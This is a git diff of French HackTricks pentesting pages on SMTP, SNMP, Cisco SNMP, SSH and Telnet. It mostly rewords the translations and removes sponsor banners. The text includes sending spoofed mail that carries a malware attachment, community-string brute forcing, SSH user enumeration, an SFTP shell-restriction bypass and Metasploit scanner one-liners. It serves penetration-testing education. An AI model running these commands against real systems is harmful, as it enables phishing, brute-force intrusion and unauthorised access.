l'organisation vous informera que l'adresse était invalide en vous renvoyant un **mail**. Les **en-têtes** de l'email retourné **contiendront** des **informations sensibles** possibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur le logiciel antivirus). ## [Commandes](smtp-commands.md) -### Envoyer un Email depuis la console linux +### Envoi d'un Email depuis la console linux ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. @@ -241,9 +225,9 @@ La vulnérabilité SMTP Smuggling permet de contourner toutes les protections SM smtp-smuggling.md {{#endref}} -## Contre-mesures contre le spoofing d'e-mail +## Contre-mesures contre le spoofing d'email -Les organisations sont empêchées d'avoir des e-mails non autorisés envoyés en leur nom en utilisant **SPF**, **DKIM** et **DMARC** en raison de la facilité de spoofing des messages SMTP. +Les organisations sont empêchées d'avoir des emails non autorisés envoyés en leur nom en utilisant **SPF**, **DKIM** et **DMARC** en raison de la facilité de spoofing des messages SMTP. Un **guide complet sur ces contre-mesures** est disponible à [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). @@ -253,11 +237,11 @@ Un **guide complet sur ces contre-mesures** est disponible à [https://seanthege > SPF [a été "déprécié" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Cela signifie qu'au lieu de créer un **enregistrement TXT** dans `_spf.domain.com`, vous le créez dans `domain.com` en utilisant la **même syntaxe**.\ > De plus, pour réutiliser les enregistrements SPF précédents, il est assez courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"` -**Sender Policy Framework** (SPF) est un mécanisme qui permet aux agents de transfert de courrier (MTA) de vérifier si un hôte envoyant un e-mail est autorisé en interrogeant une liste de serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et d'autres entités **autorisées à envoyer des e-mails au nom d'un nom de domaine**, inclut divers "**Mécanismes**" dans l'enregistrement SPF. +**Sender Policy Framework** (SPF) est un mécanisme qui permet aux agents de transfert de mail (MTAs) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de mail autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et d'autres entités **autorisées à envoyer des emails au nom d'un nom de domaine**, inclut divers "**Mécanismes**" dans l'enregistrement SPF. #### Mécanismes -De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): +D'après [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mécanisme | Description | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -265,14 +249,14 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. | | IP4 | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondre. | | IP6 | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondre. | -| MX | Si le nom de domaine a un enregistrement MX résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de messagerie entrants du domaine). | -| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inversé confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. | -| EXISTS | Si le nom de domaine donné se résout à une adresse quelconque, correspondre (peu importe l'adresse à laquelle il se résout). Cela est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. | +| MX | Si le nom de domaine a un enregistrement MX résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le mail provient de l'un des serveurs de mail entrants du domaine). | +| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine résout à l'adresse du client (DNS inversé confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. | +| EXISTS | Si le nom de domaine donné résout à une adresse quelconque, correspondre (peu importe l'adresse à laquelle il résout). Cela est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. | | INCLUDE | Fait référence à la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement continue. Pour déléguer complètement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. | -| REDIRECT |

Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure de messagerie.

La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.

| +| REDIRECT |

Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure email.

La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.

| Il est également possible d'identifier des **Qualificateurs** qui indiquent **ce qui doit être fait si un mécanisme est correspondant**. Par défaut, le **qualificateur "+"** est utilisé (donc si un mécanisme est correspondant, cela signifie qu'il est autorisé).\ -Vous remarquerez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'e-mail comme non fiable (\~) ou rejeter (-) l'e-mail.** +Vous noterez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'email comme non fiable (\~) ou rejeter (-) l'email.** #### Qualificateurs @@ -280,10 +264,10 @@ Chaque mécanisme au sein de la politique peut être précédé de l'un des quat - **`+`** : Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant `+mx` équivalent à `mx`. - **`?`** : Représente un résultat NEUTRAL, traité de manière similaire à NONE (aucune politique spécifique). -- **`~`** : Dénote SOFTFAIL, servant de terrain d'entente entre NEUTRAL et FAIL. Les e-mails correspondant à ce résultat sont généralement acceptés mais marqués en conséquence. -- **`-`** : Indique FAIL, suggérant que l'e-mail doit être rejeté. +- **`~`** : Dénote SOFTFAIL, servant de terrain d'entente entre NEUTRAL et FAIL. Les emails correspondant à ce résultat sont généralement acceptés mais marqués en conséquence. +- **`-`** : Indique FAIL, suggérant que l'email doit être rejeté. -Dans l'exemple à venir, la **politique SPF de google.com** est illustrée. Notez l'inclusion des politiques SPF de différents domaines au sein de la première politique SPF : +Dans l'exemple à venir, la **politique SPF de google.com** est illustrée. Notez l'inclusion de politiques SPF de différents domaines au sein de la première politique SPF : ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -367,7 +351,7 @@ Cela a du sens - un sous-domaine peut très bien être dans un emplacement géog ### **Relais Ouvert** -Lorsque des e-mails sont envoyés, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un **serveur de relais de confiance pour le destinataire**. Cependant, un défi courant est que les administrateurs peuvent ne pas être pleinement conscients des **plages IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité. +Lorsque des e-mails sont envoyés, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un **serveur de relais qui est de confiance pour le destinataire**. Cependant, un défi courant est que les administrateurs peuvent ne pas être pleinement conscients des **plages IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité. Une solution de contournement que certains administrateurs utilisent pour éviter les problèmes de livraison d'e-mails, en particulier concernant les communications avec des clients potentiels ou en cours, est de **permettre les connexions depuis n'importe quelle adresse IP**. Cela se fait en configurant le paramètre `mynetworks` du serveur SMTP pour accepter toutes les adresses IP, comme indiqué ci-dessous : ```bash @@ -382,7 +366,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Vérifiez les erreurs de configuration SPF et DMARC** - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenez automatiquement les configurations SPF et DMARC** -### Envoyer un Email Spoof +### Envoyer un Email Spoofé - [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) - [**http://www.anonymailer.net/**](http://www.anonymailer.net) @@ -399,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE ``` > [!WARNING] > Si vous obtenez une **erreur en utilisant la bibliothèque python dkim** pour analyser la clé, n'hésitez pas à utiliser celle-ci.\ -> **NOTE** : Ceci est juste un correctif temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**. +> **REMARQUE** : Ceci est juste un correctif temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**. > > ``` > -----BEGIN RSA PRIVATE KEY----- @@ -575,12 +559,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md index fccc08d15..ac861bd09 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -2,14 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - **Commandes de :** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **HELO**\ @@ -19,7 +11,7 @@ C'est la première commande SMTP : elle commence la conversation en identifiant Une commande alternative pour commencer la conversation, soulignant que le serveur utilise le protocole SMTP étendu. **MAIL FROM**\ -Avec cette commande SMTP, les opérations commencent : l'expéditeur indique l'adresse e-mail source dans le champ "From" et commence réellement le transfert d'e-mail. +Avec cette commande SMTP, les opérations commencent : l'expéditeur indique l'adresse e-mail source dans le champ "From" et commence réellement le transfert de l'e-mail. **RCPT TO**\ Elle identifie le destinataire de l'e-mail ; s'il y en a plusieurs, la commande est simplement répétée adresse par adresse. @@ -37,7 +29,7 @@ Le serveur est invité à vérifier si une adresse e-mail ou un nom d'utilisateu Cette commande est utilisée pour inverser les rôles entre le client et le serveur, sans avoir besoin d'établir une nouvelle connexion. **AUTH**\ -Avec la commande AUTH, le client s'authentifie auprès du serveur, en fournissant son nom d'utilisateur et son mot de passe. C'est une autre couche de sécurité pour garantir une transmission appropriée. +Avec la commande AUTH, le client s'authentifie auprès du serveur, en fournissant son nom d'utilisateur et son mot de passe. C'est une autre couche de sécurité pour garantir un transfert approprié. **RSET**\ Elle communique au serveur que la transmission d'e-mail en cours va être terminée, bien que la conversation SMTP ne sera pas fermée (comme dans le cas de QUIT). @@ -46,17 +38,9 @@ Elle communique au serveur que la transmission d'e-mail en cours va être termin Cette commande SMTP demande une confirmation concernant l'identification d'une liste de diffusion. **HELP**\ -C'est une demande du client pour obtenir des informations qui peuvent être utiles pour un transfert d'e-mail réussi. +C'est une demande du client pour obtenir des informations qui peuvent être utiles pour un transfert réussi de l'e-mail. **QUIT**\ Elle termine la conversation SMTP. -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index f67f1b610..03c5e5643 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Informations de base -**SNMP - Simple Network Management Protocol** est un protocole utilisé pour surveiller différents appareils sur le réseau (comme les routeurs, les commutateurs, les imprimantes, les IoT...). +**SNMP - Simple Network Management Protocol** est un protocole utilisé pour surveiller différents appareils dans le réseau (comme les routeurs, les commutateurs, les imprimantes, les IoT...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -48,7 +43,7 @@ Voici une décomposition de cette adresse. - 3 – cela s'appelle ORG et il est utilisé pour spécifier l'organisation qui a construit l'appareil. - 6 – c'est le dod ou le Département de la Défense qui est l'organisation qui a établi Internet en premier. - 1 – c'est la valeur de l'internet pour indiquer que toutes les communications se feront via Internet. -- 4 – cette valeur détermine que cet appareil est fabriqué par une organisation privée et non par une organisation gouvernementale. +- 4 – cette valeur détermine que cet appareil est fabriqué par une organisation privée et non par un gouvernement. - 1 – cette valeur indique que l'appareil est fabriqué par une entreprise ou une entité commerciale. Ces six premières valeurs tendent à être les mêmes pour tous les appareils et elles vous donnent les informations de base à leur sujet. Cette séquence de chiffres sera la même pour tous les OID, sauf lorsque l'appareil est fabriqué par le gouvernement. @@ -74,7 +69,7 @@ Le reste des valeurs donne des informations spécifiques sur l'appareil. Il existe 2 versions importantes de SNMP : - **SNMPv1** : La principale, c'est encore la plus fréquente, l'**authentification est basée sur une chaîne** (chaîne communautaire) qui circule en **texte clair** (toutes les informations circulent en texte clair). **La version 2 et 2c** envoient également le **trafic en texte clair** et utilisent une **chaîne communautaire comme authentification**. -- **SNMPv3** : Utilise une meilleure forme d'**authentification** et les informations circulent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bonnes informations d'identification que dans SNMPv1 et v2). +- **SNMPv3** : Utilise une meilleure forme d'**authentification** et les informations circulent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bonnes informations d'identification qu'avec SNMPv1 et v2). ### Chaînes communautaires @@ -93,9 +88,9 @@ Dans les versions 1 et 2/2c, si vous utilisez une chaîne communautaire **incorr [De Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): -- L'agent SNMP reçoit des demandes sur le port UDP **161**. +- L'agent SNMP reçoit des requêtes sur le port UDP **161**. - Le gestionnaire reçoit des notifications ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) et [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) sur le port **162**. -- Lorsqu'il est utilisé avec [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) ou [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), les demandes sont reçues sur le port **10161** et les notifications sont envoyées au port **10162**. +- Lorsqu'il est utilisé avec [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) ou [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), les requêtes sont reçues sur le port **10161** et les notifications sont envoyées au port **10162**. ## Brute-Force Community String (v1 et v2c) @@ -130,7 +125,7 @@ Grâce aux requêtes étendues (download-mibs), il est possible d'énumérer enc ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** contient beaucoup d'informations sur l'hôte et les éléments qui peuvent vous intéresser sont : **Interfaces réseau** (adresse **IPv4** et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/OS, et **processus** +**SNMP** a beaucoup d'informations sur l'hôte et les éléments qui pourraient vous intéresser sont : **Interfaces réseau** (adresse **IPv4** et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/OS, et **processus** **en cours d'exécution** (peut contenir des mots de passe).... @@ -179,11 +174,11 @@ snmp-rce.md ## **SNMP Massif** -[Braa ](https://github.com/mteg/braa) est un scanner SNMP de masse. L'utilisation prévue d'un tel outil est, bien sûr, de faire des requêtes SNMP – mais contrairement à snmpwalk de net-snmp, il est capable d'interroger des dizaines ou des centaines d'hôtes simultanément, et dans un seul processus. Ainsi, il consomme très peu de ressources système et effectue le scan TRÈS rapidement. +[Braa ](https://github.com/mteg/braa) est un scanner SNMP massif. L'utilisation prévue d'un tel outil est, bien sûr, de faire des requêtes SNMP – mais contrairement à snmpwalk de net-snmp, il est capable d'interroger des dizaines ou des centaines d'hôtes simultanément, et dans un seul processus. Ainsi, il consomme très peu de ressources système et effectue le scan TRÈS rapidement. Braa implémente sa propre pile SNMP, donc il n'a pas besoin de bibliothèques SNMP comme net-snmp. -**Syntaxe :** braa \[Community-string]@\[IP du serveur SNMP]:\[iso id] +**Syntaxe :** braa \[Chaîne de communauté\]@\[\[IP du serveur SNMP\]:\[\[id iso\] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` @@ -211,7 +206,7 @@ grep -i "login\|fail" *.snmp ``` ### **Emails** -Enfin, pour extraire **adresses e-mail** des données, une **commande grep** avec une expression régulière est utilisée, en se concentrant sur les motifs qui correspondent aux formats d'e-mail : +Enfin, pour extraire des **adresses email** des données, une **commande grep** avec une expression régulière est utilisée, en se concentrant sur des motifs qui correspondent aux formats d'email : ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` @@ -221,7 +216,7 @@ Vous pouvez utiliser _**NetScanTools**_ pour **modifier des valeurs**. Vous devr ## Usurpation -S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses à l'intérieur du paquet UDP et renifler le trafic. +S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses dans le paquet UDP et renifler le trafic. ## Examiner les fichiers de configuration SNMP @@ -229,13 +224,7 @@ S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le se - snmpd.conf - snmp-config.xml -
- -Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Commandes Automatiques HackTricks +## Commandes automatiques HackTricks ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 520024036..a22eb9a91 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Pentesting des réseaux Cisco -**SNMP** fonctionne sur UDP avec les ports 161/UDP pour les messages généraux et 162/UDP pour les messages de trap. Ce protocole repose sur des chaînes de communauté, servant de mots de passe qui permettent la communication entre les agents SNMP et les serveurs. Ces chaînes sont cruciales car elles déterminent les niveaux d'accès, spécifiquement les **permissions en lecture seule (RO) ou en lecture-écriture (RW)**. Un vecteur d'attaque notable pour les pentesters est le **brute-forcing des chaînes de communauté**, visant à infiltrer les dispositifs réseau. +**SNMP** fonctionne sur UDP avec les ports 161/UDP pour les messages généraux et 162/UDP pour les messages de trap. Ce protocole repose sur des chaînes de communauté, servant de mots de passe qui permettent la communication entre les agents SNMP et les serveurs. Ces chaînes sont cruciales car elles déterminent les niveaux d'accès, spécifiquement **lecture seule (RO) ou lecture-écriture (RW)**. Un vecteur d'attaque notable pour les pentesters est le **brute-forcing des chaînes de communauté**, visant à infiltrer les dispositifs réseau. Un outil pratique pour exécuter de telles attaques par force brute est [**onesixtyone**](https://github.com/trailofbits/onesixtyone), qui nécessite une liste de chaînes de communauté potentielles et les adresses IP des cibles : ```bash @@ -39,10 +33,5 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index d1f3d0759..9b99a491c 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
-**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Informations de base @@ -46,11 +42,11 @@ ssh-audit est un outil pour l'audit de la configuration des serveurs et clients - Support des serveurs de protocole SSH1 et SSH2 ; - analyser la configuration du client SSH ; -- récupérer la bannière, reconnaître l'appareil ou le logiciel et le système d'exploitation, détecter la compression ; +- récupérer la bannière, reconnaître le dispositif ou le logiciel et le système d'exploitation, détecter la compression ; - rassembler les algorithmes d'échange de clés, de clé hôte, de chiffrement et de code d'authentification de message ; -- afficher les informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sécurisé/faible/ancien, etc.) ; +- afficher les informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sécurisé/faible/ancien, etc) ; - afficher les recommandations sur les algorithmes (ajouter ou supprimer en fonction de la version du logiciel reconnue) ; -- afficher les informations de sécurité (problèmes liés, liste CVE assignée, etc.) ; +- afficher les informations de sécurité (problèmes liés, liste CVE assignée, etc) ; - analyser la compatibilité des versions SSH en fonction des informations sur les algorithmes ; - informations historiques d'OpenSSH, Dropbear SSH et libssh ; - fonctionne sur Linux et Windows ; @@ -101,7 +97,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### Énumération des noms d'utilisateur -Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module metasploit pour exploiter cela : +Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit afin d'exploiter cela : ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -203,7 +199,7 @@ Il est courant que les serveurs SSH permettent la connexion de l'utilisateur roo Il y a une négligence courante qui se produit avec les configurations SFTP, où les administrateurs ont l'intention que les utilisateurs échangent des fichiers sans activer l'accès shell à distance. Malgré le fait de définir des utilisateurs avec des shells non interactifs (par exemple, `/usr/bin/nologin`) et de les confiner à un répertoire spécifique, une faille de sécurité demeure. **Les utilisateurs peuvent contourner ces restrictions** en demandant l'exécution d'une commande (comme `/bin/bash`) immédiatement après s'être connectés, avant que leur shell non interactif désigné ne prenne le relais. Cela permet l'exécution non autorisée de commandes, sapant les mesures de sécurité prévues. -[Exemple ici](https://community.turgensec.com/ssh-hacking-guide/) : +[Exemple d'ici](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... @@ -240,7 +236,7 @@ Cette configuration permettra uniquement SFTP : désactivation de l'accès shell ### SFTP Tunneling -Si vous avez accès à un serveur SFTP, vous pouvez également faire passer votre trafic à travers cela, par exemple en utilisant la redirection de port courante : +Si vous avez accès à un serveur SFTP, vous pouvez également faire passer votre trafic par ce biais, par exemple en utilisant la redirection de port courante : ```bash sudo ssh -L :: -N -f @ ``` @@ -290,13 +286,7 @@ id_rsa - Vous pouvez trouver des guides intéressants sur la façon de sécuriser SSH dans [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) - [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## Commandes Automatiques HackTricks +## HackTricks Commandes Automatiques ``` Protocol_Name: SSH Port_Number: 22 diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 07293e32d..037966e6a 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Informations de base** @@ -32,7 +25,7 @@ Le script `telnet-ntlm-info.nse` obtiendra des informations NTLM (versions Windo Dans le [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) : Dans le protocole TELNET, il existe diverses "**options**" qui seront sanctionnées et peuvent être utilisées avec la structure "**DO, DON'T, WILL, WON'T**" pour permettre à un utilisateur et à un serveur de convenir d'utiliser un ensemble de conventions plus élaboré (ou peut-être juste différent) pour leur connexion TELNET. Ces options pourraient inclure le changement de l'ensemble de caractères, le mode d'écho, etc. -**Je sais qu'il est possible d'énumérer ces options, mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.** +**Je sais qu'il est possible d'énumérer ces options mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.** ### [Brute force](../generic-hacking/brute-force.md#telnet) @@ -74,12 +67,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index 954eccb52..9a2bf7efc 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -2,15 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
